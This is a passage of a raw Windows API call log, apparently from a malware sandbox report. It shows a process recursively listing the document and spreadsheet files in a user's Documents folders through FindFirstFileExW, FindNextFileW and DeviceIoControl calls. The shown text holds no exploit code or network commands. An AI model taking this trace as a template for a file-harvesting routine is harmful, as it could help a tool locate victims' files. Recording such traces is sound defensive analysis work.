nFileSizeHigh=0x0, nFileSizeLow=0x497c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qoxe-LU2m.ods", cAlternateFileName="")) returned 1 [0090.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f56f8 [0090.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252c78 [0090.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.724] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77885760, ftCreationTime.dwHighDateTime=0x1d5be76, ftLastAccessTime.dwLowDateTime=0x90e38920, ftLastAccessTime.dwHighDateTime=0x1d5c22f, ftLastWriteTime.dwLowDateTime=0x90e38920, ftLastWriteTime.dwHighDateTime=0x1d5c22f, nFileSizeHigh=0x0, nFileSizeLow=0x1272, dwReserved0=0x0, dwReserved1=0x0, cFileName="YKK5D O.csv", cAlternateFileName="")) returned 1 [0090.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5718 [0090.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252e00 [0090.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.725] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77885760, ftCreationTime.dwHighDateTime=0x1d5be76, ftLastAccessTime.dwLowDateTime=0x90e38920, ftLastAccessTime.dwHighDateTime=0x1d5c22f, ftLastWriteTime.dwLowDateTime=0x90e38920, ftLastWriteTime.dwHighDateTime=0x1d5c22f, nFileSizeHigh=0x0, nFileSizeLow=0x1272, dwReserved0=0x0, dwReserved1=0x0, cFileName="YKK5D O.csv", cAlternateFileName="")) returned 0 [0090.725] GetLastError () returned 0x12 [0090.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI\\JzZThU9wtkP7\\*", fInfoLevelId=0x1, lpFindFileData=0x119dc4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119dc4c) returned 0x2e9240 [0090.726] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f1fb00, ftCreationTime.dwHighDateTime=0x1d5b643, ftLastAccessTime.dwLowDateTime=0x728a8550, ftLastAccessTime.dwHighDateTime=0x1d5bb31, ftLastWriteTime.dwLowDateTime=0x728a8550, ftLastWriteTime.dwHighDateTime=0x1d5bb31, nFileSizeHigh=0x0, nFileSizeLow=0x82f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcr eZFXp.ots", cAlternateFileName="")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfebc00, ftCreationTime.dwHighDateTime=0x1d5bfc1, ftLastAccessTime.dwLowDateTime=0x20eef090, ftLastAccessTime.dwHighDateTime=0x1d5b867, ftLastWriteTime.dwLowDateTime=0x20eef090, ftLastWriteTime.dwHighDateTime=0x1d5b867, nFileSizeHigh=0x0, nFileSizeLow=0xa07b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eQ9VC Pq.doc", cAlternateFileName="")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9843fc0, ftCreationTime.dwHighDateTime=0x1d5c3d2, ftLastAccessTime.dwLowDateTime=0x6b70a20, ftLastAccessTime.dwHighDateTime=0x1d5bba3, ftLastWriteTime.dwLowDateTime=0x6b70a20, ftLastWriteTime.dwHighDateTime=0x1d5bba3, nFileSizeHigh=0x0, nFileSizeLow=0x18994, dwReserved0=0x0, dwReserved1=0x0, cFileName="Je4Z4ASc4gia1aT.rtf", cAlternateFileName="")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd0c250, ftCreationTime.dwHighDateTime=0x1d5c302, ftLastAccessTime.dwLowDateTime=0x15cf7cd0, ftLastAccessTime.dwHighDateTime=0x1d5bdd9, ftLastWriteTime.dwLowDateTime=0x15cf7cd0, ftLastWriteTime.dwHighDateTime=0x1d5bdd9, nFileSizeHigh=0x0, nFileSizeLow=0x497c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qoxe-LU2m.ods", cAlternateFileName="")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77885760, ftCreationTime.dwHighDateTime=0x1d5be76, ftLastAccessTime.dwLowDateTime=0x90e38920, ftLastAccessTime.dwHighDateTime=0x1d5c22f, ftLastWriteTime.dwLowDateTime=0x90e38920, ftLastWriteTime.dwHighDateTime=0x1d5c22f, nFileSizeHigh=0x0, nFileSizeLow=0x1272, dwReserved0=0x0, dwReserved1=0x0, cFileName="YKK5D O.csv", cAlternateFileName="")) returned 1 [0090.726] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77885760, ftCreationTime.dwHighDateTime=0x1d5be76, ftLastAccessTime.dwLowDateTime=0x90e38920, ftLastAccessTime.dwHighDateTime=0x1d5c22f, ftLastWriteTime.dwLowDateTime=0x90e38920, ftLastWriteTime.dwHighDateTime=0x1d5c22f, nFileSizeHigh=0x0, nFileSizeLow=0x1272, dwReserved0=0x0, dwReserved1=0x0, cFileName="YKK5D O.csv", cAlternateFileName="")) returned 0 [0090.726] GetLastError () returned 0x12 [0090.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f61e0) returned 1 [0090.726] FindClose (in: hFindFile=0x2e9240 | out: hFindFile=0x2e9240) returned 1 [0090.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6368) returned 1 [0090.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0090.727] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JzZThU9wtkP7", cAlternateFileName="")) returned 0 [0090.727] GetLastError () returned 0x12 [0090.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134f408) returned 1 [0090.727] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0090.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3300) returned 1 [0090.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134f1f8) returned 1 [0090.730] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c058050, ftCreationTime.dwHighDateTime=0x1d5c4f3, ftLastAccessTime.dwLowDateTime=0xec838dc0, ftLastAccessTime.dwHighDateTime=0x1d5b70d, ftLastWriteTime.dwLowDateTime=0xec838dc0, ftLastWriteTime.dwHighDateTime=0x1d5b70d, nFileSizeHigh=0x0, nFileSizeLow=0x16621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PBbZMtcEZNkGriPC.xlsx", cAlternateFileName="")) returned 1 [0090.730] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c058050, ftCreationTime.dwHighDateTime=0x1d5c4f3, ftLastAccessTime.dwLowDateTime=0xec838dc0, ftLastAccessTime.dwHighDateTime=0x1d5b70d, ftLastWriteTime.dwLowDateTime=0xec838dc0, ftLastWriteTime.dwHighDateTime=0x1d5b70d, nFileSizeHigh=0x0, nFileSizeLow=0x16621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PBbZMtcEZNkGriPC.xlsx", cAlternateFileName="")) returned 0 [0090.730] GetLastError () returned 0x12 [0090.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134f0f0) returned 1 [0090.731] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0090.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04ba8) returned 1 [0090.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134efe8) returned 1 [0090.732] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ew7Uh tfAZjKVsun0z", cAlternateFileName="")) returned 0 [0090.732] GetLastError () returned 0x12 [0090.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134edd8) returned 1 [0090.732] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0090.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134eee0) returned 1 [0090.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134ecd0) returned 1 [0090.733] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90671c0, ftCreationTime.dwHighDateTime=0x1d5c2a2, ftLastAccessTime.dwLowDateTime=0x22b52d00, ftLastAccessTime.dwHighDateTime=0x1d5b677, ftLastWriteTime.dwLowDateTime=0x22b52d00, ftLastWriteTime.dwHighDateTime=0x1d5b677, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiKGa", cAlternateFileName="")) returned 0 [0090.733] GetLastError () returned 0x12 [0090.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134eac0) returned 1 [0090.733] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0090.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134ebc8) returned 1 [0090.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e9b8) returned 1 [0090.734] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebbc8d10, ftCreationTime.dwHighDateTime=0x1d5b9a6, ftLastAccessTime.dwLowDateTime=0x83d4c780, ftLastAccessTime.dwHighDateTime=0x1d5b695, ftLastWriteTime.dwLowDateTime=0x83d4c780, ftLastWriteTime.dwHighDateTime=0x1d5b695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mMdO", cAlternateFileName="")) returned 1 [0090.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e9b8 [0090.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\mMdO" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\mmdo"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebbc8d10, ftCreationTime.dwHighDateTime=0x1d5b9a6, ftLastAccessTime.dwLowDateTime=0x83d4c780, ftLastAccessTime.dwHighDateTime=0x1d5b695, ftLastWriteTime.dwLowDateTime=0x83d4c780, ftLastWriteTime.dwHighDateTime=0x1d5b695, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\mMdO" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\mmdo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0090.734] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0090.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.735] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0090.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.735] NtClose (Handle=0x124) returned 0x0 [0090.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e9b8) returned 1 [0090.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e9b8 [0090.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ebc8 [0090.736] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\mMdO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9000 [0090.737] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebbc8d10, ftCreationTime.dwHighDateTime=0x1d5b9a6, ftLastAccessTime.dwLowDateTime=0x83d4c780, ftLastAccessTime.dwHighDateTime=0x1d5b695, ftLastWriteTime.dwLowDateTime=0x83d4c780, ftLastWriteTime.dwHighDateTime=0x1d5b695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.738] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fe9ba0, ftCreationTime.dwHighDateTime=0x1d5bf5f, ftLastAccessTime.dwLowDateTime=0x1f1ff050, ftLastAccessTime.dwHighDateTime=0x1d5c093, ftLastWriteTime.dwLowDateTime=0x1f1ff050, ftLastWriteTime.dwHighDateTime=0x1d5c093, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Te618_PdYdt1FM.rtf", cAlternateFileName="")) returned 1 [0090.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134eac0 [0090.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5738 [0090.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ecd0 [0090.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.740] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9d13b0, ftCreationTime.dwHighDateTime=0x1d5c101, ftLastAccessTime.dwLowDateTime=0x4f11d640, ftLastAccessTime.dwHighDateTime=0x1d5c58c, ftLastWriteTime.dwLowDateTime=0x4f11d640, ftLastWriteTime.dwHighDateTime=0x1d5c58c, nFileSizeHigh=0x0, nFileSizeLow=0x11915, dwReserved0=0x0, dwReserved1=0x0, cFileName="ei-M9V9a98Z_nlXE9U.rtf", cAlternateFileName="")) returned 1 [0090.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5758 [0090.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134eee0 [0090.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.742] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9d13b0, ftCreationTime.dwHighDateTime=0x1d5c101, ftLastAccessTime.dwLowDateTime=0x4f11d640, ftLastAccessTime.dwHighDateTime=0x1d5c58c, ftLastWriteTime.dwLowDateTime=0x4f11d640, ftLastWriteTime.dwHighDateTime=0x1d5c58c, nFileSizeHigh=0x0, nFileSizeLow=0x11915, dwReserved0=0x0, dwReserved1=0x0, cFileName="ei-M9V9a98Z_nlXE9U.rtf", cAlternateFileName="")) returned 0 [0090.742] GetLastError () returned 0x12 [0090.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\mMdO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0090.742] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0090.744] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebbc8d10, ftCreationTime.dwHighDateTime=0x1d5b9a6, ftLastAccessTime.dwLowDateTime=0x83d4c780, ftLastAccessTime.dwHighDateTime=0x1d5b695, ftLastWriteTime.dwLowDateTime=0x83d4c780, ftLastWriteTime.dwHighDateTime=0x1d5b695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fe9ba0, ftCreationTime.dwHighDateTime=0x1d5bf5f, ftLastAccessTime.dwLowDateTime=0x1f1ff050, ftLastAccessTime.dwHighDateTime=0x1d5c093, ftLastWriteTime.dwLowDateTime=0x1f1ff050, ftLastWriteTime.dwHighDateTime=0x1d5c093, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Te618_PdYdt1FM.rtf", cAlternateFileName="")) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9d13b0, ftCreationTime.dwHighDateTime=0x1d5c101, ftLastAccessTime.dwLowDateTime=0x4f11d640, ftLastAccessTime.dwHighDateTime=0x1d5c58c, ftLastWriteTime.dwLowDateTime=0x4f11d640, ftLastWriteTime.dwHighDateTime=0x1d5c58c, nFileSizeHigh=0x0, nFileSizeLow=0x11915, dwReserved0=0x0, dwReserved1=0x0, cFileName="ei-M9V9a98Z_nlXE9U.rtf", cAlternateFileName="")) returned 1 [0090.746] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9d13b0, ftCreationTime.dwHighDateTime=0x1d5c101, ftLastAccessTime.dwLowDateTime=0x4f11d640, ftLastAccessTime.dwHighDateTime=0x1d5c58c, ftLastWriteTime.dwLowDateTime=0x4f11d640, ftLastWriteTime.dwHighDateTime=0x1d5c58c, nFileSizeHigh=0x0, nFileSizeLow=0x11915, dwReserved0=0x0, dwReserved1=0x0, cFileName="ei-M9V9a98Z_nlXE9U.rtf", cAlternateFileName="")) returned 0 [0090.746] GetLastError () returned 0x12 [0090.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134ebc8) returned 1 [0090.746] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0090.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134eac0) returned 1 [0090.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e9b8) returned 1 [0090.747] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1bca070, ftCreationTime.dwHighDateTime=0x1d5c11d, ftLastAccessTime.dwLowDateTime=0xcfb24b50, ftLastAccessTime.dwHighDateTime=0x1d5bc58, ftLastWriteTime.dwLowDateTime=0xcfb24b50, ftLastWriteTime.dwHighDateTime=0x1d5bc58, nFileSizeHigh=0x0, nFileSizeLow=0x1d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="raR8_I8Ve2Q.ots", cAlternateFileName="")) returned 1 [0090.747] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vdij4lVSo9ZkL8aGhz", cAlternateFileName="")) returned 1 [0090.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e9b8 [0090.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\Vdij4lVSo9ZkL8aGhz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\vdij4lvso9zkl8aghz"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8faa340, ftCreationTime.dwHighDateTime=0x1d5b69a, ftLastAccessTime.dwLowDateTime=0x9c1c4330, ftLastAccessTime.dwHighDateTime=0x1d5be1b, ftLastWriteTime.dwLowDateTime=0x9c1c4330, ftLastWriteTime.dwHighDateTime=0x1d5be1b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\Vdij4lVSo9ZkL8aGhz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\vdij4lvso9zkl8aghz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0090.747] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0090.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.747] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0090.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.748] NtClose (Handle=0x174) returned 0x0 [0090.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134e9b8) returned 1 [0090.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.748] RtlAllocateHeap (HeapHandle=0x940000, 